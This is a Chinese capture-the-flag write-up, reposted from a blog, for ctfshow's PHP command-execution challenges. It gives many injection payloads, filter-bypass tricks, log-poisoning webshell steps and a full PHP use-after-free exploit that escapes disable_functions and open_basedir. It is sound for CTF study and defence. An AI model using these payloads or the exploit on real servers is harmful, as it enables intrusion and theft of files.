0


ctfshow---命令执行

web29

正则过滤php,用两个单引号插在中间即可

payload:?c=system("tac fla''g.php");

web30

过滤system可用passthru,而过滤php也可以用中间插两个单引号绕过

payload:?c=passthru("tac fl''ag.p''hp");

web31

空格过滤可以用$IFS$9 或%09替代,过滤单引号我们可以用通配符

payload:c=passthru("tac$IFS$9fla*"); 要将$转义一下

payload2:c=passthru("tac%09fla*");

web32-36

利用include去包含,然后用伪协议

(29条消息) PHP伪协议详解_Snakin_ya的博客-CSDN博客

过滤了;用?>替代,这样去包含也是可以的,%0a是换行的意思

<?php
include
$_GET['a']?>

payload:c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

包含文件,但是不能有flag字符,利用data伪协议即可

data://text/plain,这里可以直接执行php代码

payload:c=data://text/plain,<?php system('tac fla*');?>

web38

过滤了php用短标签<?=

payload:c=data://text/plain,<?= system('tac fla*');?>

web39

包含文件之后再拼接.php

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

payload:c=data://text/plain,<?php system('tac fla*');?>

web40

过滤了很多,没有过滤字母、括号、下划线 (里面过滤的是中文符号的括号)

  • localeconv():是个数组,第一个元素是点
  • pos():输出数组第一个元素
  • scandir():里面是点 输出当前目录
  • array_reverse():数组反转
  • next():指向数组的下一个元素,并输出
  • highlight_file():高亮显示

先print_r(scandir(pos(localeconv()))); 输出当前目录内容

payload:c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web41

过滤了很多,但没有过滤或(|) 使用脚本跑

rce.fuzz.php 先跑出来能绕过正则的字符(正则条件替换一下)

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }
}
generate(1,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');
//1代表模式,后面的是过滤规则

再用rce.py跑

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

#用rce_fuzz.php根据正则去跑,然后再这里执行

os.system("php F:\\php\\rce_fuzz.php")  # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
    print("=" * 50)
    print('USER:python exp.py <url>')
    print("eg:  python exp.py http://ctf.show/")
    print("=" * 50)
    exit(0)
url = argv[1]

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open(r"F:\\php\rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return (output)

while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
    data = {
        'c': urllib.parse.unquote(param)
    }
    r = requests.post(url, data=data)
    print("\n[*] result:\n" + r.text)

function:函数

conmmand:命令

web42

了解一下

>/dev/null 2>&1
>/dev/null

将标准输出1重定向到/dev/null中。 /dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”。那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。

2>&1

这条命令用到了重定向绑定,采用&可以将两个输出绑定在一起。这条命令的作用是错误输出将和标准输出同用一个文件描述符,说人话就是错误输出将会和标准输出输出到同一个地方。

>/dev/null 2>&1

就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。

要想绕过这个“黑洞“,需要往里面传入两个参数,shell会执行第一个参数,将第二个参数带入到黑洞

payload:?c=tac f*%26%26ls(因为是url传过去的所以&&要url编码)

web43

payload:?c=nl%20flag.php%0a

payload:?c=tac%20fla*%0a

payload:?c=tac fla*%26%26ls

web44

多过滤了一个flag,同上payload

web45

过滤空格用$IFS$9

payload:tac$IFS$9fla*%0a

web46

%09和%26应该不算数字,算是url编码

%26:&

%09:水平制表符

payload:tac%09fla?.php||

web47

过滤了一堆显示的命令,tac还是没有过滤

payload:tac%09fla?.php||

web48

payload:tac%09fla?.php||

payload:tac%09fla?.php%26 %26是&

web49

payload:tac%09fla?.php||

payload:tac%09fl''ag.php||

web50

%09 %26都过滤了,用<代替空格

更多绕过可以看这篇(29条消息) linux中查看文件命令和空格绕过_linux 命令行空格用什么代替ifs_c1oud..的博客-CSDN博客

payload:tac<fla''g.php||

web51

payload:nl<fla''g.php||

web52

过滤了<>,但是没有过滤$,先查看以下flag在哪里:c=ls$IFS/||

payload:c=nl$IFS/fl%27%27ag||

web53

payload:c''at${IFS}fl''ag.p''hp

payload:uniq${IFS}fl''ag.p''hp

web54

cat命令所在的路径是在/bin/目录下,所以这里相当于直接调用了cat文件执行命令

这里的cat可以看作命令,也是一个文件,所以通配符可以用在这上面

payload:/bin/?at${IFS}f???????

web55-56

过滤字母,但是没过滤点和空格,可以考虑经典无字母数字rce

先构造一个文件上传的表单,抓包,文件内容是shell命令#!/bin/sh

web57

这一题非常有意思,只需要构造出36就可以

再linux中

$(()) 为0

$((~$(()))) 为-1

$((~$((中间需要多少数相加即可))))

$(($(( $(($(())))+$(($(())))+$(($(()))) )))) 这个是2

(中间加到36即可)

web58

禁用了system,shell_exec等

payload:c=echo file_get_contents('flag.php');

payload:show_source('flag.php');

web59

payload:show_source('flag.php');

还可以include($_GET[1]),然后伪协议读取

web60

可以用nginx日志包含

1、在ua头里面写入一句话木马,日志里面就会有记录

2、包含 /var/log/nginx/access.log,把日志当作php执行

3、蚁剑直接连接

web61

禁用了file_get_contens(),shell_exec()

伪协议可用,日志包含可用

先ua头写入一句话,然后highlight_file函数未禁用,查找

show_source是highlight_file函数的别名都能用

web62

上面两种方法都可,还有一种骚姿势

c=include('flag.php');echo $flag;

web63

get_defined_vars() 函数返回由所有已定义变量所组成的数组

payload:c=include('flag.php');var_dump(get_defined_vars());

var_dump输出 注册变量

web64-65

有五种payload

1、include('flag.php');echo "$flag";

2、show_source('flag.php');

3、使用文件包含,伪协议读取

4、日志包含

5、输出注册变量:include('flag.php');var_dump(get_defined_vars());

web66

没有禁用highlight_file,查看发现flag不在flag.php里面

先:c=print_r(scandir("/"));

再:c=highlight_file('/flag.txt');

web67

var_dump(scandir('/'));

payload:highlight_file('/flag.txt');

web68

var_dump(scandir('/'));

payload:include('flag.txt');

web69

PHP读取目录的方式:

print_r(glob("")); // 列当前目录print_r(glob("/")); // 列根目录

print_r(scandir("."));

print_r(scandir("/"));

$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}

$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}

$a=glob("/");foreach($a as $value){echo $value." ";}

$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}

$a=new DirectoryIterator('glob:///');foreach($a as $f){echo($f->__toString()." ");}

payload:c=$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}

include('/flag.txt');

web70-71

代码执行后把缓冲区内容拿到,然后清空缓冲区,然后替换

可以使他提前退出,不执行后面的

payload:include('/flag.txt');exit();

web72

open_basedir限制了目录访问

使用glob://伪协议绕过open_basedir,发现根目录下有flag0.txt /*表示根目录下所有文件

先c=?><?php $a=new DirectoryIterator("glob:///*");

foreach($a as $f)

{echo($f->__toString().' ');

}

exit(0);

?>

在使用通用绕过安全目录的一个脚本(在最后的位置修改一下文件名)

在把整个php文件的内容url编码后发送

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag36.txt");ob_end_flush();
?>

web73-74

使用glob://伪协议绕过open_basedir,发现根目录下有flagc.txt

先c=?><?php $a=new DirectoryIterator("glob:///*");

foreach($a as $f)

{echo($f->__toString().' ');

}

exit(0);

?>

直接include('/flagc.txt');exit();

web75-76

使用glob://伪协议绕过open_basedir,发现根目录下有flag36.txt

尝试72的脚本,无效

先查找数据库名称,然后把dbname修改数据库名,load_file读取

c=$dsn = "mysql:host=localhost;dbname=information_schema";

$db = new PDO($dsn, 'root', 'root');

$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");

foreach($rs as $row){

echo($row[0])."|";

}exit();

web77

先glob协议查看根目录文件,flag36x.txt读取不到,需要执行readflag

ffi方法,php7.4以上的特性

$ffi = FFI::cdef("int system(const char *command);");

$a='/readflag > /var/www/html/1.txt';

$ffi->system($a);exit();

执行/readflag 把结果输出到1.txt,注:exit();

readflag是里面有flag的文件,然后访问1.txt就行

web118

打开就一个这个页面

查看源代码,发现:

用ls试了下发现过滤,拿字典跑一下看放出来什么字符

环境变量PATH是/bin,路径PWD是/var/www/html。

${PATH:A}${PWD:A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。

payload:${PATH:A}${PWD:A}$IFS????.???

相当于:nl flag.php

web119-120

来了解一下linux构造各种字符
0可以用字符代替;像这样 ${z}1${#SHLVL},或者${##}、${#?} 、 先<A;在然后的$?就是12用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用${PHP_VERSION:~A}代替。3${#IFS}=3。(linux下是3,mac里是4)4或者5${#RANDOM}返回的值大多数是4和5,其中5的概率多一些。(linux下)
${RANDOM} 这个是随机的几个数

${PWD} :/var/www/html

${USER} :www-data

${HOME} :当前用户的主目录

接下来就是找能构造出来的某一个字符,剩下的用通配符就可以

开始构造:可以构造一下/bin/cat

这样构造:/???/?a? ????.??? user用户里面有a,构造一个 t 也可以
/ 这样构造${PWD::${#SHLVL}} 这个的意思是取他的第一位a 这样构造${USER:A} ~取反,0的话就是取全部,0就是取倒数第一个 1取2个t 这样构造${USER:${#SHLVL}:${#SHLVL}} ~1 从倒数第二个开始取,一次取一个
(自己本地多试试就知道怎么构造了)

payload:${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web121

过滤了SHLVL USER HOME ~

在/bin目录下有个rev命令 ,这个是将文件内容倒叙输出

'${PWD::${##}}'  #取第一个   /
'${Z}'   #0
'${##}'  #1
'${PWD:${PHP_VERSION:~A}:${##}}'  #取第三个   a
'${USER:~A}'   #a
'${PHP_VERSION:~A}' #2
'${PWD:${##}:${##}}'   #v
'/???/??v ????.???'   #构造这个命令
'${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}}${IFS}????.???'

payload:${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}}${IFS}????.???

只要你能将各种字符构造出来,其实剩下的只要拼接一下就行

盯着这几个构造就行(多本地试,这个一定要自己动手试试把各种字符构造出来)

${RANDOM} 这个是随机的几个数

${PWD} :/var/www/html

${USER} :www-data

${HOME} :当前用户的主目录

web122

过滤了# PWD 上一个payload用不了了

这题在上题的基础上又过滤了#和PWD,PWD的绕过很简单,用HOME就可以,而$#,就换成$?

在执行命令前,先用<A 使下一次$?的报错结果为1

${}和<A都可,以但是题目上${}这个不可以,所以只能用<A

知识点:$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。而且这个返回值是可控的

在/bin目录下有个/bin/base64 这个是可以将文件内容以base64形式输出出来

构造/???/?????4 ????.??? (只构造一个4出来,让他匹配到/bin/base64)

payload:<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

分解就是这样的:

<A; ${HOME::$?} ??? ${HOME::$?} ????? ${RANDOM::$?} ????.???

            /                 ???              /               ?????             4                ????.???

而这个${RANDOM}是随机的,所以写个python脚本跑一下即可

import requests
url='http://fe51f506-5ca4-4818-ace4-50769b5d34ab.challenge.ctf.show/'
for i in range(100):
    res=requests.post(url=url,data={
        'code':'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'
    })
    if len(res.text) != 3069:
        print(res.text)
        break

再把base64解码一下

web124

就是说变量名必须全部为数组里面的

#_GET的十六进制:5f474554
#转换成十进制:hexdec(5f474554) == 1598506324

#$a=base_convert('hex2bin',36,10);
#将hex2bin  36转10:37907361743

$a=base_convert(37907361743,10,36)(dechex(1598506324));
echo $a;  #结果是  _GET

显示的时候两个$还有其他东西会转化,所以payload啥的看截图:

至于什么是动态函数调用,举个简单的例子:

<?php
$_GET['a']($_GET['b']);
?>

可以看到成功执行,这个就是动态函数调用,函数自己定义,参数自己定义

标签: 安全 linux

本文转载自: https://blog.csdn.net/fainpo/article/details/129642297
版权归原作者 T6... 所有, 如有侵权,请联系我们删除。

“ctfshow---命令执行”的评论:

还没有评论